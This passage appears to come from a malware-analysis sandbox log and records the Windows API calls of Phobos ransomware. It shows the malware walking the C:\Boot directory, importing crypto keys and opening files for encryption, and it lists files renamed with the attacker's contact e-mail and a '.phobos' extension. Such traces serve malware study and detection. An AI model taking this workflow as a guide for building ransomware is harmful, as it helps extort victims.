cFileName="Windows6.1-KB958488-v6001-x64.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~3.PHO")) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf412c8d6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~4.PHO")) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x7b5aa0, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf412c8d6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="WINDOW~4.PHO")) returned 0 [0124.420] FindClose (in: hFindFile=0x7b5aa0 | out: hFindFile=0x7b5aa0) returned 1 [0124.420] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36a4080 | out: hHeap=0xe70000) returned 1 [0124.420] FindNextFileW (in: hFindFile=0x7b5da0, lpFindFileData=0x3d7f508 | out: lpFindFileData=0x3d7f508*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3d7f730, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0124.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x7b5e60 [0124.447] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0124.447] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD", cAlternateFileName="")) returned 1 [0124.447] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0124.447] SetEvent (hEvent=0x52c) returned 1 [0124.447] ResetEvent (hEvent=0x530) returned 1 [0124.447] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0124.447] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0124.447] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0124.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5ee0 [0124.448] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.448] FindClose (in: hFindFile=0x7b5ee0 | out: hFindFile=0x7b5ee0) returned 1 [0124.448] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36b4088 | out: hHeap=0xe70000) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefaece4, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeefaece4, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeefc64e1, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="BOOTSTAT.DAT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="BOOTST~1.PHO")) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0124.448] FindNextFileW (in: hFindFile=0x7b5e60, lpFindFileData=0x3d7f284 | out: lpFindFileData=0x3d7f284*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0124.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5ee0 [0124.449] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.449] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3d7f000 | out: lpFindFileData=0x3d7f000*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0126.955] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe791b8 | out: hHeap=0xe70000) returned 1 Thread: id = 176 os_tid = 0xf04 [0124.231] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x36d4098 [0124.231] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x10000) returned 0x36e40a0 [0124.232] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x28) returned 0xe793d8 [0124.232] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x110102) returned 0x4282020 [0124.234] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x50) returned 0xe79408 [0124.234] CryptImportKey (in: hProv=0x7868d8, pbData=0x3ebf988, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3ebf9f0 | out: phKey=0x3ebf9f0*=0x7b5e60) returned 1 [0124.234] CryptSetKeyParam (hKey=0x7b5e60, dwParam=0x1, pbData=0x3ebf9d8, dwFlags=0x0) returned 1 [0124.235] CryptDecrypt (in: hKey=0x7b5e60, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xe79408, pdwDataLen=0x3ebf9a4 | out: pbData=0xe79408, pdwDataLen=0x3ebf9a4) returned 1 [0124.235] CryptDestroyKey (hKey=0x7b5e60) returned 1 [0124.235] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x759a0000 [0124.235] GetProcAddress (hModule=0x759a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x759b6b30 [0124.235] Wow64DisableWow64FsRedirection (in: OldValue=0x3ebfa3c | out: OldValue=0x3ebfa3c*=0x0) returned 1 [0124.235] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0xe79408 | out: hHeap=0xe70000) returned 1 [0124.235] ResetEvent (hEvent=0x514) returned 1 [0124.235] SetEvent (hEvent=0x518) returned 1 [0124.235] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.235] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0124.239] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=0) returned 1 [0124.239] CloseHandle (hObject=0x560) returned 1 [0124.239] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.454] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.454] ResetEvent (hEvent=0x514) returned 1 [0124.454] SetEvent (hEvent=0x518) returned 1 [0124.455] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.455] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0124.455] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=0) returned 1 [0124.455] CloseHandle (hObject=0x578) returned 1 [0124.456] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.521] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.522] ResetEvent (hEvent=0x514) returned 1 [0124.522] SetEvent (hEvent=0x518) returned 1 [0124.522] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.522] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.522] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=77664) returned 1 [0124.522] CloseHandle (hObject=0x588) returned 1 [0124.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0124.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.522] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.523] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.524] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.524] ResetEvent (hEvent=0x514) returned 1 [0124.524] SetEvent (hEvent=0x518) returned 1 [0124.525] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.525] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.525] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=99744) returned 1 [0124.525] CloseHandle (hObject=0x584) returned 1 [0124.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0124.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.525] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.525] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.526] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.527] ResetEvent (hEvent=0x514) returned 1 [0124.527] SetEvent (hEvent=0x518) returned 1 [0124.527] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.527] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45472) returned 1 [0124.527] CloseHandle (hObject=0x588) returned 1 [0124.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0124.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.527] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.527] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.528] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.529] ResetEvent (hEvent=0x514) returned 1 [0124.529] SetEvent (hEvent=0x518) returned 1 [0124.529] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.529] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.529] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45472) returned 1 [0124.529] CloseHandle (hObject=0x588) returned 1 [0124.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0124.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.529] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.529] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.530] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.531] ResetEvent (hEvent=0x514) returned 1 [0124.531] SetEvent (hEvent=0x518) returned 1 [0124.531] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.531] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=45984) returned 1 [0124.531] CloseHandle (hObject=0x588) returned 1 [0124.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0124.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.531] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.531] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.533] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.533] ResetEvent (hEvent=0x514) returned 1 [0124.533] SetEvent (hEvent=0x518) returned 1 [0124.533] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.533] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=46496) returned 1 [0124.533] CloseHandle (hObject=0x588) returned 1 [0124.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0124.533] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.533] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.533] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.535] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.535] ResetEvent (hEvent=0x514) returned 1 [0124.535] SetEvent (hEvent=0x518) returned 1 [0124.535] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.535] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 